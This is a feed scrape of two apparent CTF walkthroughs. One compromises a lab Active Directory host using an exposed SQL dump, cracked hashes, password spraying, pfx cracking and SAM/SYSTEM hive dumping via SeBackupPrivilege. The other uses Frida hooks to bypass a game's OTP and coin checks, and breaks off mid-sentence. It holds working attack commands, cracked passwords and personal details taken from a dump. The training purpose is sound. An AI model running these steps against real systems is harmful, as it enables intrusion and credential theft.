192.168.2.20<br>Nmap scan report for 192.168.2.20<br>Host is up (0.20s latency).<br>Not shown: 983 closed tcp ports (reset)<br>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-02-01 12:35:21Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: codeby.cdb0., Site: Default-First-Site-Name)<br>443/tcp  open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)<br>| http-cookie-flags: <br>|   /: <br>|     PHPSESSID: <br>|_      httponly flag not set<br>|_http-title: RedCock Farm<br>|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  tcpwrapped<br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: codeby.cdb0., Site: Default-First-Site-Name)<br>3269/tcp open  tcpwrapped<br>3306/tcp open  mysql         MariaDB 10.3.23 or earlier (unauthorized)<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=anon.codeby.cdb<br>| Not valid before: 2024-11-15T20:04:35<br>|_Not valid after:  2025-05-17T20:04:35<br>| rdp-ntlm-info: <br>|   Target_Name: CODEBY<br>|   NetBIOS_Domain_Name: CODEBY<br>|   NetBIOS_Computer_Name: ANON<br>|   DNS_Domain_Name: codeby.cdb<br>|   DNS_Computer_Name: anon.codeby.cdb<br>|   DNS_Tree_Name: codeby.cdb<br>|   Product_Version: 10.0.20348<br>|_  System_Time: 2025-02-01T12:35:36+00:00<br>|_ssl-date: 2025-02-01T12:35:47+00:00; 0s from scanner time.<br>5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Service Unavailable<br>5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>8082/tcp open  http          Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3 PHP/8.2.12)<br>|_http-title: RedCock Farm<br>|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12<br>| http-cookie-flags: <br>|   /: <br>|     PHPSESSID: <br>|_      httponly flag not set<br>Service Info: Host: ANON; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled and required<br>| smb2-time: <br>|   date: 2025-02-01T12:35:35<br>|_  start_date: N/A<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br># Nmap done at Sat Feb  1 15:35:58 2025 -- 1 IP address (1 host up) scanned in 54.76 seconds</pre><p>Low hanging fruits on AD exploitation did not yield any results. like checking if the smbshare can be access by guest authentication. The command i used was</p><pre>smbclient -N -L //192.168.2.20/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*REDuPUIwcDKG8NfpCF4Jug.png" /></figure><p>Try to access ldap using the below command gives an error</p><pre>ldapsearch -x -H ldap://192.168.2.20/  -b &quot;DC=codeby,DC=cdb&quot; -s sub</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fb16kDGV5QBGiV-wnY3koA.png" /></figure><p>Also,trying to access Microsoft remote procedural call protocol using rpcclient and the command gives an error</p><pre>rpcclient -U &quot;&quot; -N 192.168.2.20</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X4SdIFN8cyNY-L-zUlmShg.png" /></figure><p>But the nmap result shows us that we have a web server running on port 443 and 8082.</p><p>Port 443 kept giving me an error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lA7D_QViMCowhG1FYVZfPQ.png" /></figure><p>Port 8082 returns a web application which returns a login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nkbz7E-2-pJAeX63TIs2Yg.png" /></figure><p>The site has multiple vulnerabilities like Broken object level authorization which is a security <a href="https://www.imperva.com/learn/application-security/vulnerability-management/">vulnerability</a> that occurs when an application or application programming interface (API) provides access to data objects based on the user’s role, but fails to verify if the user is authorized to access those specific data objects. But since the site is down am unable to show this vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MJX0JNb9nMaNqDEiikUmFg.png" /></figure><p>Given they didn’t lead to the solution it’s okay we can showcase the same vulnerabilities in a different walkthrough. Performing a directory brute forcing, using gobuster gives interesting results. The command used to run gobuster is as follow</p><pre>gobuster dir -u http://192.168.2.20:8082/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 30</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-qLnP-gyb1kC23_cFLLSmw.png" /></figure><p>The most interesting directory was Database</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dCUGafQ3IwoAG17S7mxo5Q.png" /></figure><p>Navigating to it we get an interesting database dump called farm.sql</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iejtYrFiYsWpPcyyqYB6-A.png" /></figure><p>I downloaded the database and looking though it we see some user credentials dumped from the database</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WmEgYtvEmCNaWC18t2aJiw.png" /></figure><pre>(2, 1002, &#39;Admin&#39;, &#39;admin&#39;, &#39;Nikhil&#39;, &#39;Bhalerao&#39;, 9213979339, &#39;ndbhalerao91@gmail.com&#39;, 1, &#39;nikhil.png&#39;, &#39;9ef87721f1241ba03fdb094bc47b157b&#39;, &#39;2022-03-15 10:18:39&#39;),<br>(9, 1003, &#39;Admin&#39;, &#39;staff&#39;, &#39;Veronika&#39;, &#39;Koltsova&#39;, 9050909090, &#39;veronika.koltsova@codeby.cdb&#39;, 1, &#39;pic_3.jpg&#39;, &#39;1755250e750575059312c899278081b2&#39;, &#39;2024-03-15 10:18:3</pre><p>I tried cracking both <strong>ndbhalerao91@gmail.com</strong> and <strong>veronika.koltsova@codeby.cdb</strong> hash and successfully cracked <strong>veronika.koltsova@codeby.cdb</strong> hash</p><p>I didn&#39;t crack the hash using hashcat but i used crackstation because it’s faster</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Fy6tPHCb0AKqwqFuknBFg.png" /></figure><p><strong>veronika.koltsova@codeby.cdb:</strong>T.T.10_friendship-forever</p><p>Trying the credentials on smb worked. We are able to access the shares. The command i used was</p><pre>netexec smb 192.168.2.20 -u &quot;veronika.koltsova&quot; -p &quot;T.T.10_friendship-forever&quot;  --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LJS2kiZyjbeB5bhtFI_jBg.png" /></figure><p>Trying the credentials on winrm since it was open worked</p><p>The command i used was</p><pre>evil-winrm -i 192.168.2.20 -u &quot;veronika.koltsova&quot; -p &quot;T.T.10_friendship-forever&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tjM5LQJQcLe11c1n56n2-Q.png" /></figure><p>Looking at the documents directory we get a pfx file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VgYThbJosZC_sU5pA4WZhA.png" /></figure><p>I downloaded the certificate back to my box using the command</p><pre>download user.pfx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*I4pOsm__vIRYd9ZrtYQgiw.png" /></figure><p>The certificate is encrypted with a password to crack the password in need to convert the pfx file into a format that john the ripper can understand. I used a program called pfx2john and the command</p><pre>pfx2john user.pfx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SXS173rQVVfqOP5R-kVdCQ.png" /></figure><p>I saved the hash in a file and tried cracking with john the ripper. the command i used was</p><pre>john --wordlist=~/Desktop/boxes/wordlist/rockyou.txt pfx_hash </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-1nGDg6Yhvq_thjmow-8vQ.png" /></figure><p>We get the password is <strong>G0d0fWar. </strong>Next we can try to pass the certificate. A good blog post talking about it is below</p><p><a href="https://www.thehacker.recipes/ad/movement/kerberos/pass-the-certificate">Pass the Certificate | The Hacker Recipes</a></p><p>First we need to decrypt the pfx file and i used the tool certipy to do that. The command i used was</p><pre>certipy-ad cert -export -pfx &quot;user.pfx&quot; -password &quot;G0d0fWar&quot; -out &quot;unprotected.pfx&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jZ-JLeVKnygN667baupzxA.png" /></figure><p>Next i tried authenticating to the domain using the decrypted certificate using the command</p><pre>certipy-ad auth -pfx &quot;unprotected.pfx&quot; -dc-ip &#39;192.168.2.20&#39; -domain &#39;codeby.cdb&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BujR6HvrINpOV9Nh-0BxDA.png" /></figure><p>But the certificate has no identification information meaning we cannot just extract user who’s the owner of this certificate.</p><p>There are many way we can dump all the users in this specific domain. I’ve show impackets-lookupsids before but for this walkthough I’ll use rpcclient. To authenticate via rpcclient i used the command</p><pre>rpcclient -U &quot;codeby.cdb\veronika.koltsova&quot; 192.168.2.20</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pOIbJS9H5hgrSBPiT1HcxQ.png" /></figure><p>We’ve authenticated successfully. Next I’ll use enumdomusers command to get all active direcory users</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FfJ1QQNNZpEusROlCh275Q.png" /></figure><p>There are a lot of users i copied them to a file and formatted them to only get the username using the command</p><pre>cat users.tmp | awk -F \[ &#39;{print $2}&#39; | awk -F \] &#39;{print $1}&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K_IXLvczF9Xb24mSLF_3WA.png" /></figure><p>Using the usernames i created a brute force scripts that picks a single user and tries authenticating with the username and the decrypted certificate file</p><p>The script is as below</p><pre>#!/bin/bash<br><br># Define the input file<br>INFILE=/home/musyoka/Desktop/boxes/box_writeups/codeby/users<br><br># Read the input file line by line using a for loop<br>IFS=$&#39;\n&#39; # set the Internal Field Separator to newline<br>for LINE in $(cat &quot;$INFILE&quot;)<br>do<br>    echo &quot;$LINE&quot;<br>    certipy-ad auth -pfx unprotected.pfx  -dc-ip 192.168.2.20 -username $LINE  -domain codeby.cdb<br>done</pre><p>But after running the script no valid user was found</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UsvO6cSG_z62CGVcArmPLQ.png" /></figure><p>Thought i wouldn’t recommend doing above in an environment since this is bad opsec.</p><p>But remember we have a new password and a list of valid active directory account i tried performing a brute force with the pfx certificate password. The command i used was</p><pre>netexec smb 192.168.2.20 -u users  -p &quot;G0d0fWar&quot;  --shares</pre><p>Looking at the screenshot below we see that the password belongs to <strong>zoya.minina</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NQI7m2Ug4pHMvrayIfRDGA.png" /></figure><p>Performing a login via winrm works. The command used was</p><pre>evil-winrm -i 192.168.2.20 -u &quot;zoya.minina&quot; -p &quot;G0d0fWar&quot; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IAE5iMBaLKEsBlCyEI3cXQ.png" /></figure><p>Running whoami /all we see that we have SeBackupPrivilege</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rvb7efBOfHalmQyCZRO0hQ.png" /></figure><p>The following article helps to perform the attack</p><p><a href="https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Notes/SeBackupPrivilege.md">Windows-Local-Privilege-Escalation-Cookbook/Notes/SeBackupPrivilege.md at master · nickvourd/Windows-Local-Privilege-Escalation-Cookbook</a></p><p>We just need to back the sam and system hive. The commands i used were</p><pre>reg save hklm\sam C:\windows\temp\sam.hive<br>reg save hklm\system C:\windows\temp\system.hive</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*St7-hphRq0lEnbVXZ95pxg.png" /></figure><p>I copied both of them to my machine and using impacket-secretsdump i extracted the administrator’s hash using the command</p><pre>impacket-secretsdump -sam sam.hive -system system.hive local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V0lcAbKOSZKIg67XV3SFbw.png" /></figure><p>We can now login to the Active directory domain controller as administrator using the command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*abU7BovbQ4lliwT8LPdfCw.png" /></figure><p>And the box is pretty much done. Though there was no much Active directory stuff to showcase</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49d52a3dfd83" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2024: AoC game hacking v8]]></title>
            <link>https://musyokaian.medium.com/advent-of-cyber-2024-aoc-game-hacking-v8-fc119f87a505?source=rss-39ea31329f8f------2</link>
            <guid isPermaLink="false">https://medium.com/p/fc119f87a505</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[frida]]></category>
            <category><![CDATA[advent-of-cyber-2024]]></category>
            <category><![CDATA[dynamic-instrumentation]]></category>
            <category><![CDATA[gamehacking]]></category>
            <dc:creator><![CDATA[Musyoka Ian]]></dc:creator>
            <pubDate>Tue, 24 Dec 2024 17:46:17 GMT</pubDate>
            <atom:updated>2024-12-24T17:46:17.395Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*i-C273M8m1TOX88Im6SCHQ.png" /></figure><blockquote>Hello guys and welcome again to another walk though possibly the last one this year. This time we’ll be handling an advent of cyber challenge called AoC game hacking v8 from Tryhackme. It’s a game hacking challenge that involves using frida a really amazing tool used for dynamic instrumentation and a bit of reverse engineering. We done a couple of walkthoughs a few weeks back using frida so this should be a walk in the park. For reversing we’ll use binary ninja. We have to bypass 3 authentication mechanisms to get all the three flags. Without much say let’s jump in</blockquote><p>Starting the challenge we get in instance with a parrot VM which we can interact with</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9KsxB4H2lYPxBXQs6R9EwA.png" /></figure><p>We get a directory called TryUnlockMe. On accessing the directory, we get a binary called TryunlockMe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WpIbysVYTnEQGM0DuW9UVw.png" /></figure><p>On executing the binary a game starts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6vrKNuOHHJHfABsPiALk1A.png" /></figure><p>Interacting with the first penguin we are asked to provide an OTP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*wxLGRIIVFuGNB0gSLYxq-Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*sKsygBDOiqPzzGSs0qmZng.png" /></figure><p>Since we don’t know the OTP and every answer we provide is wrong, We’ll have to reverse engineer the binary to get the OTP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*wsvnQEL6C1FqmP7UiK1XBw.png" /></figure><p>TryUnlockMe seems like the UI application but the login might be residing in a shared library to confirm this i used ldd command to check the binary’s dependencies. The command i used is</p><pre>ldd ./TryUnlockMe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RXJ0uqAmpxuPbOcNKHI_Ew.png" /></figure><p>Based on the guidelines this is the binary we are supposed to analyze. I copied the shared library to my box and loaded it o binary ninja. Looking at the shared library we copied to our attacking box, the binaries appears to not be stripped. Meaning we can get all debugging symbols.</p><p>The command i used to check was</p><pre>file libaocgame.so</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EZe4SPzmdX0UBRx5eNponA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wV6Bub-OZn_HxE4QIJKtmw.png" /></figure><p>The first challenge was requesting for an OTP. Looking at the shared library in frida we notice there is a function called set_otp()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tyIU5LjSvEzseEaYivRieg.png" /></figure><p>The function seems to be having an integer value passed to it. Most likely this is our OTP. Using frida we can hook up the function and print the value being passed to the function. Time to start creating our script. I have a frida template that i usually use when creating any exploit using frida.</p><pre>/**<br> * Articles<br> * https://node-security.com/posts/frida-for-ios/<br> * https://frida.re/docs/javascript-api/<br> * https://awakened1712.github.io/hacking/hacking-frida/<br> * https://github.com/interference-security/frida-scripts<br> * https://github.com/Areizen/JNI-Frida-Hook<br> * https://github.com/evilpan/jni_helper<br> * https://learnfrida.info/advanced_usage/<br> * https://8ksec.io/advanced-frida-mobile/<br> * https://github.com/apkunpacker/FridaScripts<br> * https://github.com/frida/frida/issues/607<br> * https://deviltux.thedev.id/notes/ios-frida-scripting/<br> * https://github.com/frida/frida/issues/298<br> * https://github.com/frida/frida/issues/985 working<br> */<br><br>const colors = {<br>    colorize: (str, cc) =&gt; `\x1b${cc}${str}\x1b[0m`,<br>    red: str =&gt; colors.colorize(str, &#39;[31m&#39;),<br>    green: str =&gt; colors.colorize(str, &#39;[32m&#39;),<br>    yellow: str =&gt; colors.colorize(str, &#39;[33m&#39;),<br>    blue: str =&gt; colors.colorize(str, &#39;[34m&#39;),<br>    cyan: str =&gt; colors.colorize(str, &#39;[36m&#39;),<br>    white: str =&gt; colors.colorize(str, &#39;[37m&#39;),<br>    magenta: str =&gt; colors.colorize(str, &#39;[35m&#39;),<br>};<br><br><br>function func_name(){<br>    try{<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>}<br><br></pre><p>From the template i created a main function that when called it will confirm if the shared library libaocgame.so was loaded and also prints out its base address and also the binary size.</p><pre>/**<br> * Articles<br> * https://node-security.com/posts/frida-for-ios/<br> * https://frida.re/docs/javascript-api/<br> * https://awakened1712.github.io/hacking/hacking-frida/<br> * https://github.com/interference-security/frida-scripts<br> * https://github.com/Areizen/JNI-Frida-Hook<br> * https://github.com/evilpan/jni_helper<br> * https://learnfrida.info/advanced_usage/<br> * https://8ksec.io/advanced-frida-mobile/<br> * https://github.com/apkunpacker/FridaScripts<br> * https://github.com/frida/frida/issues/607<br> * https://deviltux.thedev.id/notes/ios-frida-scripting/<br> * https://github.com/frida/frida/issues/298<br> * https://github.com/frida/frida/issues/985 working<br> */<br><br>const colors = {<br>    colorize: (str, cc) =&gt; `\x1b${cc}${str}\x1b[0m`,<br>    red: str =&gt; colors.colorize(str, &#39;[31m&#39;),<br>    green: str =&gt; colors.colorize(str, &#39;[32m&#39;),<br>    yellow: str =&gt; colors.colorize(str, &#39;[33m&#39;),<br>    blue: str =&gt; colors.colorize(str, &#39;[34m&#39;),<br>    cyan: str =&gt; colors.colorize(str, &#39;[36m&#39;),<br>    white: str =&gt; colors.colorize(str, &#39;[37m&#39;),<br>    magenta: str =&gt; colors.colorize(str, &#39;[35m&#39;),<br>};<br><br><br>function func_name(){<br>    try{<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>}<br><br>function Main(){<br>    try{<br>        var modules = Process.enumerateModules();<br>        for(var m = 0; m &lt; modules.length; m++){<br>            if((modules[m].name).indexOf(&quot;libaocgame.so&quot;) &gt;= 0){<br>                console.log(colors.green(&quot;\t[+] libaocgame.so successfully loaded in memory&quot;));<br>                var libaocgame_properties = Process.findModuleByName(&quot;libaocgame.so&quot;);<br>                console.log(colors.magenta(&quot;\t[+] Base address of libaocgame.so is: &quot;+libaocgame_properties.base+&quot; and has a size of: &quot;+libaocgame_properties.size));<br>            }<br>        }<br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>}<br><br><br><br><br>Main();<br><br></pre><p>Executing the script with frida we get to print the base address and size of the binary as seen below. To execute the binary with the script which we have just created we will use the following command</p><pre>frida -l hook.js ./TryUnlockMe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qUA-ndS5iZ6aB1W1-Dax_w.png" /></figure><p>We can see that the base address and binary size has been printed to the screen</p><ul><li>Process.enumerateModules() lists all the modules (libraries) loaded by the current process.</li><li>The for loop iterates through each module, and if the module name contains &quot;libaocgame.so&quot;, it proceeds with the logic to hook a function in this module.</li><li>Process.findModuleByName(&quot;libaocgame.so&quot;): Finds the loaded module by name and retrieves information about it (base address and size).</li></ul><p>Next we need to hook the set_otp function which has an offset of 0x1279</p><p>I used Interceptor.attach API from frida to hook that specific function and print the arguments. This can be found from the documentation below</p><p><a href="https://frida.re/docs/javascript-api/">JavaScript API</a></p><p>Below is the code i wrote</p><pre>/**<br> * Articles<br> * https://node-security.com/posts/frida-for-ios/<br> * https://frida.re/docs/javascript-api/<br> * https://awakened1712.github.io/hacking/hacking-frida/<br> * https://github.com/interference-security/frida-scripts<br> * https://github.com/Areizen/JNI-Frida-Hook<br> * https://github.com/evilpan/jni_helper<br> * https://learnfrida.info/advanced_usage/<br> * https://8ksec.io/advanced-frida-mobile/<br> * https://github.com/apkunpacker/FridaScripts<br> * https://github.com/frida/frida/issues/607<br> * https://deviltux.thedev.id/notes/ios-frida-scripting/<br> * https://github.com/frida/frida/issues/298<br> * https://github.com/frida/frida/issues/985 working<br> */<br><br>const colors = {<br>    colorize: (str, cc) =&gt; `\x1b${cc}${str}\x1b[0m`,<br>    red: str =&gt; colors.colorize(str, &#39;[31m&#39;),<br>    green: str =&gt; colors.colorize(str, &#39;[32m&#39;),<br>    yellow: str =&gt; colors.colorize(str, &#39;[33m&#39;),<br>    blue: str =&gt; colors.colorize(str, &#39;[34m&#39;),<br>    cyan: str =&gt; colors.colorize(str, &#39;[36m&#39;),<br>    white: str =&gt; colors.colorize(str, &#39;[37m&#39;),<br>    magenta: str =&gt; colors.colorize(str, &#39;[35m&#39;),<br>};<br><br><br>function func_name(){<br>    try{<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>}<br><br>function Main(){<br>    try{<br>        var modules = Process.enumerateModules();<br>        for(var m = 0; m &lt; modules.length; m++){<br>            if((modules[m].name).indexOf(&quot;libaocgame.so&quot;) &gt;= 0){<br>                console.log(colors.green(&quot;\t[+] libaocgame.so successfully loaded in memory&quot;));<br>                var libaocgame_properties = Process.findModuleByName(&quot;libaocgame.so&quot;);<br>                console.log(colors.magenta(&quot;\t[+] Base address of libaocgame.so is: &quot;+libaocgame_properties.base+&quot; and has a size of: &quot;+libaocgame_properties.size));<br>                Hook_Native(libaocgame_properties.base, &quot;0x1279&quot;, 1);<br>            }<br>        }<br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>}<br><br>function Hook_Native(base_address, hook_address ,step){<br>    try{<br>        if(step === 1){<br>            Interceptor.attach(base_address.add(hook_address), {<br>                onEnter: function(args){<br>                    console.log(colors.green(&quot;\t[+] set otp called by the application with args: &quot;+ args[0].toInt32()));<br>                },<br>                onLeave: function(retval){<br>                    //do nothing<br>                }<br>            })<br>        } <br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>}<br><br><br><br>Main();<br><br></pre><p>Hook_Native function in the code hooks into a native function at a specific address and logs its arguments when called.</p><ul><li>base_address.add(hook_address): Adds the hook_address (an offset) to the base_address of libaocgame.so to get the exact address of the function to hook.</li><li>Interceptor.attach(): This Frida API function attaches a hook to the function at the specified address.</li><li><strong>onEnter</strong>: This callback is executed when the hooked function is called. It logs the first argument (args[0]) passed to the function using args[0].toInt32() to convert the argument to an integer.</li><li><strong>onLeave</strong>: This callback is executed when the hooked function returns. In this case, it does nothing (//do nothing).</li></ul><p>Running the program with the additional code we wrote, we get that the OTP is leaked by the application</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9XUI9TDwG_tkLlX2hw55Ug.png" /></figure><p>The OTP for our specific instance is 855616. Using the OTP we get the first flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eAO6A7TFDZFl74Bh4BSjXw.png" /></figure><p>Advancing to the next character, we need to buy the flag to pass the second level</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MnQn6CRmKku9FYihNYc8sg.png" /></figure><p>But looking at the coins that we have, we only have 1 coin. To earn coinsn we have to interact with the computer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*coaTacsnqWsZ3Dinea3jIg.png" /></figure><p>Meaning we have to interact with the computer 999999 times to get $999999 and get the flag. I interacted the computer till i got 16 coins</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fh1w4cpdLftEaj7dTxMMQw.png" /></figure><p>Then the computer was broken!!!!!.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*13iam2P9JxsymVqsvjWDGQ.png" /></figure><p>Meaning i can’t get 999999 coins. This means we will have to reverse engineer the purchase function and find a way to bypass with frida.</p><p>The offset to the purchase function is 0x12a8</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I6rGlKf9mvgx4OTAxCcSDg.png" /></figure><p>Looking at the validate purchase function we see that 3 integer arguments are passed to it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UwAJ_Mr7Izd_MEAs7WWW3g.png" /></figure><p>Using frida I’ll hook the function and extract all the arguments passed to the function hopefully one of the parameters passed is the coins or the price of the item</p><p>Below is the code i wrote</p><pre>/**<br> * Articles<br> * https://node-security.com/posts/frida-for-ios/<br> * https://frida.re/docs/javascript-api/<br> * https://awakened1712.github.io/hacking/hacking-frida/<br> * https://github.com/interference-security/frida-scripts<br> * https://github.com/Areizen/JNI-Frida-Hook<br> * https://github.com/evilpan/jni_helper<br> * https://learnfrida.info/advanced_usage/<br> * https://8ksec.io/advanced-frida-mobile/<br> * https://github.com/apkunpacker/FridaScripts<br> * https://github.com/frida/frida/issues/607<br> * https://deviltux.thedev.id/notes/ios-frida-scripting/<br> * https://github.com/frida/frida/issues/298<br> * https://github.com/frida/frida/issues/985 working<br> */<br><br>const colors = {<br>    colorize: (str, cc) =&gt; `\x1b${cc}${str}\x1b[0m`,<br>    red: str =&gt; colors.colorize(str, &#39;[31m&#39;),<br>    green: str =&gt; colors.colorize(str, &#39;[32m&#39;),<br>    yellow: str =&gt; colors.colorize(str, &#39;[33m&#39;),<br>    blue: str =&gt; colors.colorize(str, &#39;[34m&#39;),<br>    cyan: str =&gt; colors.colorize(str, &#39;[36m&#39;),<br>    white: str =&gt; colors.colorize(str, &#39;[37m&#39;),<br>    magenta: str =&gt; colors.colorize(str, &#39;[35m&#39;),<br>};<br><br><br>function func_name(){<br>    try{<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>}<br><br>function Main(){<br>    try{<br>        var modules = Process.enumerateModules();<br>        for(var m = 0; m &lt; modules.length; m++){<br>            if((modules[m].name).indexOf(&quot;libaocgame.so&quot;) &gt;= 0){<br>                console.log(colors.green(&quot;\t[+] libaocgame.so successfully loaded in memory&quot;));<br>                var libaocgame_properties = Process.findModuleByName(&quot;libaocgame.so&quot;);<br>                console.log(colors.magenta(&quot;\t[+] Base address of libaocgame.so is: &quot;+libaocgame_properties.base+&quot; and has a size of: &quot;+libaocgame_properties.size));<br>                Hook_Native(libaocgame_properties.base, &quot;0x1279&quot;, 1);<br>            }<br>        }<br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>}<br><br>function Hook_Native(base_address, hook_address ,step){<br>    try{<br>        if(step === 1){<br>            Interceptor.attach(base_address.add(hook_address), {<br>                onEnter: function(args){<br>                    console.log(colors.green(&quot;\t[+] set otp called by the application with args: &quot;+ args[0].toInt32()));<br>                },<br>                onLeave: function(retval){<br>                    //do nothing<br>                }<br>            })<br>        } else if(step === 2){<br>            Interceptor.attach(base_address.add(hook_address), {<br>                onEnter: function(args){<br>                    console.log(colors.green(&quot;\t[+] validate_purchase called by the application with args: &quot;+args[0].toInt32()+&quot; &quot;+args[1].toInt32()+&quot; &quot;+args[2].toInt32()))<br>                },<br>                onLeave: function(retval){<br>                    <br>                }<br>            })<br>        }<br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>}<br><br><br><br>Main();<br><br></pre><ul><li>The args object represents the parameters that are passed to the function. In this case, the function is likely validate_purchase, and we expect it to take at least three arguments.</li><li>args[0].toInt32(), args[1].toInt32(), and args[2].toInt32() convert the first, second, and third arguments to <strong>32-bit integers</strong> (toInt32() is a Frida function to convert values to integers).</li></ul><p>After loading the exploit script using frida i tried purchasing the advice which is 5 dollars</p><p>Looking at the screenshot below after spending 5 dollars we get that args[2] was 16 which was the exact amount of money we had before now we have 11 dollars</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z67-QSZ6TRQM2ULA6pSN4Q.png" /></figure><p>Purchasing another advice and seeing the output of validate purchase we see this time arg[2] is 11 which was the amount of coins we had left</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*saHlhzaM-qwKzc_6gkUQIA.png" /></figure><p>Now having confirmed that the last argument is the amount of money we have, We can manipulate it so that we have enough money to buy the flag. To manipulate it added just one extra line of code</p><pre>arg[2] = ptr(10000000)</pre><p>My final 